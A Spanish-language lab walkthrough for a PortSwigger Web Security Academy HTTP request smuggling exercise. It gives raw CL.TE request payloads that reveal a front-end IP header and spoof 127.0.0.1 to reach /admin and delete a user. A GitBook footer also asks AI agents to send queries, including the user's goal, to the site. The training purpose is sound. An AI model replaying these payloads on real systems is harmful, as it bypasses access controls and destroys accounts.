> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/discovery-of-rewriting-through-the-front-end.md).

# Descubrimiento de reescritura a través del front-end

Notas de Descubrimiento de reescritura a través del front-end para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Explotación del contrabando de solicitudes HTTP para revelar la reescritura de solicitudes del front-end

El sitio se basa en un servidor de front-end y un servidor de back-end. El front-end\*\* no acepta codificación fragmentada\*\*. / El acceso al panel de administración /admin está reservado para usuarios de **127.0.0.1**. / Antes de reenviar las solicitudes al back-end, el front-end \*\* añade una cabecera personalizada que contiene la dirección IP del cliente\*\*. Este comportamiento se parece al clásico X-Forwarded-For, pero el nombre de la cabecera es diferente.

El objetivo es doble:

1. **Envía una solicitud** para revelar el nombre de esta cabecera añadida por el front-end.
2. **Envía una solicitud contrabandeada** que contenga esta cabecera, forzándola al valor 127.0.0.1, para acceder al panel de administración y eliminar al usuario carlos.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e57b91fbb24dfeb030f7e4143b9065d4ac0f892%2F%7B91212479-6A08-491A-B08C-F60414F719F0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Análisis de comportamiento**

* El campo enviado en el parámetro de búsqueda se devuelve en la respuesta, lo que demuestra que podemos usarlo para observar los efectos de nuestras inyecciones.
* Enviando:

```http
Content-Length: 5
Transfer-Encoding: chunked

0


```

la solicitud se procesa sin error (200 OK), lo que confirma que **el front-end interpreta Content-Length**, mientras que **el back-end ignora Transfer-Encoding**.

* Al contrabandear una solicitud POST adicional:

```http
Content-Length: 55
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Length: 13

search=test
```

los bytes sobrantes (aquí,

* Al aumentar Content-Length a 125, la respuesta expone la cabecera añadida por el front-end. / Esta cabecera es:

```http
Content-Length: 125
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e6ec7706e085939b83dc5535ffa5025899e2abb%2F%7BA30B5885-5ECA-440E-81B5-47A7896CDD3A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<sub>X-KwWCmS-Ip</sub>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-694c1c3e868cb48a120044b4bae76d8fe6d56249%2F%7BC1551558-F2C6-4118-83E5-CE6AAF1E6933%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Acceso al panel de administración**

Al falsificar una solicitud contrabandeada que incluya esta cabecera forzada a **127.0.0.1**, obtienes acceso a /admin:

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 85
Transfer-Encoding: chunked

0

POST /admin HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a9541f8f1ea988fca3cb965cc3927beb6b5c8859%2F%7BDBE4809D-7FB7-4EA5-A709-436F0FBE375C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Eliminación del usuario Carlos**

Una segunda solicitud contrabandeada permite llamar directamente al endpoint de eliminación:

```http
POST / HTTP/1.1
Host: 0a740022030a5b81820ebfb900ae0054.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Transfer-Encoding: chunked

0

POST /admin/delete?username=carlos HTTP/1.1
X-KwWCmS-Ip: 127.0.0.1
Content-Length: 13

search=test
```

El usuario carlos es entonces eliminado a través del back-end, haciendo que parezca una solicitud interna autorizada.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/discovery-of-rewriting-through-the-front-end.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
